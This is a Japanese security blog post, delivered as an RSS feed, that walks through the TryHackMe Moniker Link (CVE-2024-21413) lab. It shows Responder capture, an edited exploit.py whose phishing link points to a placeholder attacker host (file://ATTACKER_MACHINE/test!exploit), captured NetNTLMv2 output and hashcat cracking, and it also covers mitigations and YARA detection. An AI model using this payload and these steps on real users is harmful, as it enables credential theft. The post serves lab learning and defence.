<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>hashcat &#8211; セキュリティエンジニアの雑多ブログ</title>
	<atom:link href="https://cybermemo.blog/tag/hashcat/feed" rel="self" type="application/rss+xml" />
	<link>https://cybermemo.blog</link>
	<description>セキュリティエンジニアの学習記録</description>
	<lastBuildDate>Tue, 07 Oct 2025 13:39:46 +0000</lastBuildDate>
	<language>ja</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.1</generator>

<image>
	<url>https://cybermemo.blog/wp-content/uploads/2025/10/cropped-トップアイコン-32x32.jpg</url>
	<title>hashcat &#8211; セキュリティエンジニアの雑多ブログ</title>
	<link>https://cybermemo.blog</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>TryHackMe Moniker Link (CVE-2024-21413) — 学習メモ</title>
		<link>https://cybermemo.blog/tryhackme-moniker-link-cve-2024-21413</link>
					<comments>https://cybermemo.blog/tryhackme-moniker-link-cve-2024-21413#respond</comments>
		
		<dc:creator><![CDATA[miyuki]]></dc:creator>
		<pubDate>Tue, 07 Oct 2025 13:39:45 +0000</pubDate>
				<category><![CDATA[TryHackMe]]></category>
		<category><![CDATA[セキュリティ]]></category>
		<category><![CDATA[Credential Theft]]></category>
		<category><![CDATA[hashcat]]></category>
		<category><![CDATA[Responder]]></category>
		<guid isPermaLink="false">https://cybermemo.blog/?p=429</guid>

					<description><![CDATA[<p><img src="https://cybermemo.blog/wp-content/uploads/2025/09/TryHackMe用アイキャッチ.png" class="webfeedsFeaturedVisual" /></p>はじめに Moniker Link (CVE-2024-21413) の備忘録。本記事は学習記録です。演習環境のターゲット名・IP・フラグは公開していません。 本記事の内容は教育目的のみに記載しています。実環境での悪用は [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img src="https://cybermemo.blog/wp-content/uploads/2025/09/TryHackMe用アイキャッチ.png" class="webfeedsFeaturedVisual" /></p>
<h2 class="wp-block-heading">はじめに</h2>



<p>Moniker Link (CVE-2024-21413) の備忘録。<br>本記事は学習記録です。演習環境のターゲット名・IP・フラグは公開していません。</p>



<p class="is-style-icon_info"><strong>本記事の内容は教育目的のみに記載しています。実環境での悪用は犯罪行為です。必ず許可された演習環境でのみ実践してください。</strong></p>


<div class="swell-block-postLink">			<div class="p-blogCard -external" data-type="type3" data-onclick="clickLink">
				<div class="p-blogCard__inner">
					<span class="p-blogCard__caption">TryHackMe</span>
					<div class="p-blogCard__thumb c-postThumb"><figure class="c-postThumb__figure"><img decoding="async" src="https://tryhackme-images.s3.amazonaws.com/room-icons/f733b93431c63c39d9eac0e5c0065b8a.png" alt="" class="c-postThumb__img u-obf-cover" width="320" height="180"></figure></div>					<div class="p-blogCard__body">
						<a class="p-blogCard__title" href="https://tryhackme.com/room/monikerlink" target="_blank" rel="noopener noreferrer">Moniker Link (CVE-2024-21413)</a>
						<span class="p-blogCard__excerpt">Leak user&#8217;s credentials using CVE-2024-21413 to bypass Outlook&#8217;s Protected View.</span>					</div>
				</div>
			</div>
		</div>


<h2 class="wp-block-heading">Moniker Link (CVE-2024-21413)&nbsp;</h2>



<h3 class="wp-block-heading">Moniker Link（モニカー・リンク）とは</h3>



<p>Moniker Link は Windows のComponent Object Model（COM）<sup data-fn="3ec11f9f-9082-459c-9d59-55eeb29ec4bb" class="fn"><a href="#3ec11f9f-9082-459c-9d59-55eeb29ec4bb" id="3ec11f9f-9082-459c-9d59-55eeb29ec4bb-link">1</a></sup>で使われる「モニカー（識別子）」を指す仕組みの一種で、Outlook がメール中の特定のリンク（例えば file:// で始まるリンク）を処理するときに Moniker Link として解釈されることがある。<br><br>特定の形式（末尾に ! を含める等）にすると Outlook の「Protected View（保護ビュー／保護モード）」を回避してしまいリモートのファイルを読み込みにいってしまう問題が見つかった。これを悪用するとユーザーの認証情報（netNTLMv2 ハッシュ）を攻撃者に送らせることができる。</p>



<h3 class="wp-block-heading">CVE-2024-21413</h3>



<p>Outlook が特定のリンク（特に file:// スキームで始まり、後に ! 記号を含むような形式）を解釈すると、リンク先リソースにアクセスを試み、その過程で NTLM 認証情報（netNTLMv2 ハッシュ）を自動的に送信してしまうという挙動が発生するように設計上の欠陥があることが発見された。</p>



<p>さらに、悪意あるリンクを使えば Protected View（保護モード／読み取り専用モード）をバイパスして、ファイルを編集モードで開かせる・実行させるような挙動を誘導でき、その結果、リモートコード実行（Remote Code Execution, RCE）を引き起こす可能性も指摘されている。</p>



<h3 class="wp-block-heading">実演</h3>



<h4 class="wp-block-heading">Responder で待ち受け</h4>



<p>まずは Responder<sup data-fn="a99e74d6-1d5a-401c-b20b-6553246d547e" class="fn"><a href="#a99e74d6-1d5a-401c-b20b-6553246d547e" id="a99e74d6-1d5a-401c-b20b-6553246d547e-link">2</a></sup> で待ち受け。</p>



<pre class="wp-block-code"><code># インターフェースの特定
└─$ ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    ~以下IP情報（マスク）~

2: eth0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000
    ~以下IP情報（マスク）~

3: tun0: &lt;POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP&gt; mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    ~以下IP情報（マスク）~

# tun0で待ち受け
sudo responder -I tun0 </code></pre>



<h4 class="wp-block-heading">exploit.py の編集</h4>



<p>GitHub のコードをコピペし編集。</p>


<div class="swell-block-postLink">			<div class="p-blogCard -external" data-type="type3" data-onclick="clickLink">
				<div class="p-blogCard__inner">
					<span class="p-blogCard__caption">GitHub</span>
					<div class="p-blogCard__thumb c-postThumb"><figure class="c-postThumb__figure"><img decoding="async" src="https://opengraph.githubassets.com/48b633b5db5651170851df09acd7c0a54c9bec02a5dae248b9f37fa1e13b4d79/CMNatic/CVE-2024-21413" alt="" class="c-postThumb__img u-obf-cover" width="320" height="180"></figure></div>					<div class="p-blogCard__body">
						<a class="p-blogCard__title" href="https://github.com/CMNatic/CVE-2024-21413" target="_blank" rel="noopener noreferrer">GitHub &#8211; CMNatic/CVE-2024-21413: CVE-2024-21413 PoC for THM Lab</a>
						<span class="p-blogCard__excerpt">CVE-2024-21413 PoC for THM Lab. Contribute to CMNatic/CVE-2024-21413 development by creating an account on GitHub.</span>					</div>
				</div>
			</div>
		</div>


<pre class="wp-block-code"><code># 行を表示しエディタを開く
nano -l exploit.py</code></pre>



<p>17行目の <strong>ATTACKER_MACHINE</strong> を 待ち受け端末のIPに変更。</p>



<pre class="wp-block-code"><code>&lt;p&gt;&lt;a href="file://<strong>ATTACKER_MACHINE(※ここをIPアドレスに変更)</strong>/test!exploit"&gt;Click me&lt;/a&gt;&lt;/p&gt;</code></pre>



<p>31行目の <strong>MAILSERVER</strong> をターゲットマシンのIPに変更。</p>



<pre class="wp-block-code"><code>server = smtplib.SMTP('<strong>MAILSERVER(※ここをIPアドレスに変更)</strong>', 25)</code></pre>



<h4 class="wp-block-heading">ターゲットマシンの Outlook を起動</h4>



<p>ターゲットマシンの Outlook を起動。</p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" width="1024" height="339" src="https://cybermemo.blog/wp-content/uploads/2025/10/Outlook-1-1024x339.png" alt="Outlook を起動" class="wp-image-438" style="width:695px;height:auto" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/Outlook-1-1024x339.png 1024w, https://cybermemo.blog/wp-content/uploads/2025/10/Outlook-1-300x99.png 300w, https://cybermemo.blog/wp-content/uploads/2025/10/Outlook-1-768x254.png 768w, https://cybermemo.blog/wp-content/uploads/2025/10/Outlook-1.png 1253w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<h4 class="wp-block-heading">exploit.py を実行</h4>



<p>exploit.py を実行。<br>このコードを実行するとターゲットマシンにメールが送信される。</p>



<pre class="wp-block-code"><code># exploit.py を実行
$ python3 exploit.py                                          
Enter your attacker email password: ********

 Email delivered</code></pre>



<h4 class="wp-block-heading">Outlook で届いたメールのリンクをクリック</h4>



<p>Outlook で届いたメールのリンクをクリック。<br>待ち受け端末に情報が送信される。</p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" width="1024" height="557" src="https://cybermemo.blog/wp-content/uploads/2025/10/リンククリック-1-1024x557.png" alt="Outlook で届いたメールのリンクをクリック" class="wp-image-441" style="width:691px;height:auto" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/リンククリック-1-1024x557.png 1024w, https://cybermemo.blog/wp-content/uploads/2025/10/リンククリック-1-300x163.png 300w, https://cybermemo.blog/wp-content/uploads/2025/10/リンククリック-1-768x418.png 768w, https://cybermemo.blog/wp-content/uploads/2025/10/リンククリック-1.png 1264w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<h4 class="wp-block-heading">Responder の確認</h4>



<p>Responder で netNTLMv2 ハッシュがキャプチャされている。</p>



<pre class="wp-block-code"><code>&#91;SMB] NTLMv2-SSP Client   : x.x.x.x
&#91;SMB] NTLMv2-SSP Username : THM-MONIKERLINK\tryhackme
&#91;SMB] NTLMv2-SSP Hash     : tryhackme::THM-MONIKERLINK:a2b23215af9cc5d0:<strong>ハッシュが表示される  </strong>                                         
&#91;*] Skipping previously captured hash for THM-MONIKERLINK\tryhackme
&#91;*] Skipping previously captured hash for THM-MONIKERLINK\tryhackme
&#91;*] Skipping previously captured hash for THM-MONIKERLINK\tryhackme
&#91;*] Skipping previously captured hash for THM-MONIKERLINK\tryhackme
&#91;*] Skipping previously captured hash for THM-MONIKERLINK\tryhackme
&#91;*] Skipping previously captured hash for THM-MONIKERLINK\tryhackme
&#91;*] Skipping previously captured hash for THM-MONIKERLINK\tryhackme
&#91;*] Skipping previously captured hash for THM-MONIKERLINK\tryhackme</code></pre>



<h4 class="wp-block-heading">エラーが発生する</h4>



<p>test!exploit のような共有は存在しないため、Outlook は「We can&#8217;t find &#8216;&#8230;\test!exploit&#8217;」というエラーを出す。<br>これはファイルが無いことを示す正常な挙動。ただし、重要なのはエラーが表示される前にクライアントは外部ホストへ接続を試み、NTLMによる認証ハンドシェイクが発生する点。攻撃者はこのハンドシェイクで得られるチャレンジ／レスポンスの情報を受け取る。</p>



<figure class="wp-block-image size-full"><img decoding="async" width="621" height="110" src="https://cybermemo.blog/wp-content/uploads/2025/10/おまけ.png" alt="We can't find '...\test!exploit' エラー" class="wp-image-443" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/おまけ.png 621w, https://cybermemo.blog/wp-content/uploads/2025/10/おまけ-300x53.png 300w" sizes="(max-width: 621px) 100vw, 621px" /></figure>



<h3 class="wp-block-heading">対策</h3>



<p>一部対策を紹介。</p>



<h4 class="wp-block-heading">公式修正を適用する</h4>



<p>Microsoft が公開しているセキュリティ更新を適用。</p>


<div class="swell-block-postLink">			<div class="p-blogCard -external -noimg" data-type="type3" data-onclick="clickLink">
				<div class="p-blogCard__inner">
					<span class="p-blogCard__caption">あわせて読みたい</span>
										<div class="p-blogCard__body">
						<a class="p-blogCard__title" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21413?utm_source=chatgpt.com" target="_blank" rel="noopener noreferrer">Security Update Guide &#8211; Microsoft Security Response Center</a>
						<span class="p-blogCard__excerpt"></span>					</div>
				</div>
			</div>
		</div>


<h4 class="wp-block-heading">カスタムルールで検出</h4>



<p>GitHub 上でFlorian Roth 氏によって作成・公開された YARA<sup data-fn="1f0c2584-3f13-40b2-8901-c42c0e49bb1e" class="fn"><a href="#1f0c2584-3f13-40b2-8901-c42c0e49bb1e" id="1f0c2584-3f13-40b2-8901-c42c0e49bb1e-link">3</a></sup> ルールが利用可能。</p>


<div class="swell-block-postLink">			<div class="p-blogCard -external" data-type="type3" data-onclick="clickLink">
				<div class="p-blogCard__inner">
					<span class="p-blogCard__caption">GitHub</span>
					<div class="p-blogCard__thumb c-postThumb"><figure class="c-postThumb__figure"><img decoding="async" src="https://opengraph.githubassets.com/c710b9b4da4cad12439b81a2d0ad80806ee9a368c53c1e30bae85d6b6848e532/Neo23x0/signature-base" alt="" class="c-postThumb__img u-obf-cover" width="320" height="180"></figure></div>					<div class="p-blogCard__body">
						<a class="p-blogCard__title" href="https://github.com/Neo23x0/signature-base/blob/master/yara/expl_outlook_cve_2024_21413.yar" target="_blank" rel="noopener noreferrer">signature-base/yara/expl_outlook_cve_2024_21413.yar at master · Neo23x0/signature-base</a>
						<span class="p-blogCard__excerpt">YARA signature and IOC database for my scanners and tools &#8211; Neo23x0/signature-base</span>					</div>
				</div>
			</div>
		</div>


<h2 class="wp-block-heading">疑問に思ったこと</h2>



<h3 class="wp-block-heading">なぜ netNTLMv2 ハッシュが取得されると危険なのか</h3>



<p>NTLM認証はチャレンジ／レスポンス方式で行われ、パスワードそのものは送信されない。<br>そのため、「ハッシュを取られても意味がないのでは？」と疑問に思った。<br>調べてみると、ハッシュが窃取されると次の攻撃に繋がるため危険だということが分かった。<br><br>例えば、<br>取得したハッシュ値をオフラインで解析（クラック）できる。<br>（オフラインで行うため検知されず、何度でも試行可能。）<br><br>また、受け取った認証情報を他のサービスへの認証にそのまま使える条件が揃えば、<br>リレー攻撃（Relay Attack<strong>）</strong>によって権限を横展開できる。<br><br>このようにハッシュの窃取自体が次の侵入の足掛かりになるため、危険性が高い。</p>



<h3 class="wp-block-heading">ハッシュではなくレスポンスが窃取されるのではないか</h3>



<p>「NTLM認証はレスポンスを返すので、レスポンスが窃取されるのであって、ハッシュは取られないのでは？」と疑問に思った。調べてみると表現の問題だったようで、正確にはチャレンジ（server_challenge）とレスポンス（response）がセットで窃取されているとのこと。</p>



<p>シーケンス図</p>



<pre class="wp-block-code"><code>ユーザー端末 (Client)            サーバ (Server)            攻撃者 (Attacker)
-------------------            -------------            ------------------
1. Negotiate -----------------&gt;                              （認証方式の提案）
                               2. ServerChallenge ----------&gt; （チャレンジ送信）
&lt;-- (Challenge) -------------  

3. Client: 内部計算
   - NTLMv2_hash = HMAC_MD5( NTLM_hash(PW), User+Domain )
   - ClientBlob = {timestamp, client_challenge, ...}
   - NTLMv2_response = HMAC_MD5( NTLMv2_hash, ServerChallenge ∥ ClientBlob )
                             
4. Client --------------------&gt; Server
   （NTLMv2_response ＋ ClientBlob を送信）
                            ↑
                            |  （同じレスポンスを攻撃者が待ち受けて受信可能）
                            |  攻撃者は名前解決/SMB等でこのやり取りを誘発・傍受
                            v
   Attacker captures: {<strong>ServerChallenge</strong>, <strong>NTLMv2_response</strong>, ClientBlob, Username, Domain, ClientIP}</code></pre>



<h2 class="wp-block-heading">おまけ</h2>



<p>窃取した netNTLMv2 ハッシュを rockyou.txt で辞書攻撃してみたが、パスワードは見つからなかった。</p>



<pre class="wp-block-code"><code># hashcat で辞書攻撃
$ hashcat -m 5600 -a 0 hashcat_test /usr/share/wordlists/rockyou.txt

# マスク済み出力（抜粋）
hashcat (v6.2.6) starting

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: TRYHACKME::&lt;REDACTED_HASH>
Time.Started.....: Tue Oct  7 21:22:25 2025 (6 secs)
Speed.#1.........:  2317.3 kH/s
Recovered........: 0/1 (0.00%)
Progress.........: 14344385/14344385 (100.00%)

# 結果確認（回復済みパスワードの表示）
$ hashcat -m 5600 --show hashcat_test
# （出力が何もなければ、辞書で回復できていないことを意味する）</code></pre>


<ol class="wp-block-footnotes"><li id="3ec11f9f-9082-459c-9d59-55eeb29ec4bb">Microsoft が開発した Windows 上で動く部品（コンポーネント）同士をやり取りさせるための仕組み。 <a href="#3ec11f9f-9082-459c-9d59-55eeb29ec4bb-link" aria-label="脚注参照1にジャンプ">↩︎</a></li><li id="a99e74d6-1d5a-401c-b20b-6553246d547e">ネットワーク上の名前解決プロトコルを悪用して偽の応答を返し、資格情報（NTLM ハッシュ等）を収集するオープンソースのツール。 <a href="#a99e74d6-1d5a-401c-b20b-6553246d547e-link" aria-label="脚注参照2にジャンプ">↩︎</a></li><li id="1f0c2584-3f13-40b2-8901-c42c0e49bb1e">マルウェアや攻撃の痕跡（IoC：Indicator of Compromise）を検出するためのパターンマッチ用ルール言語。 <a href="#1f0c2584-3f13-40b2-8901-c42c0e49bb1e-link" aria-label="脚注参照3にジャンプ">↩︎</a></li></ol>]]></content:encoded>
					
					<wfw:commentRss>https://cybermemo.blog/tryhackme-moniker-link-cve-2024-21413/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
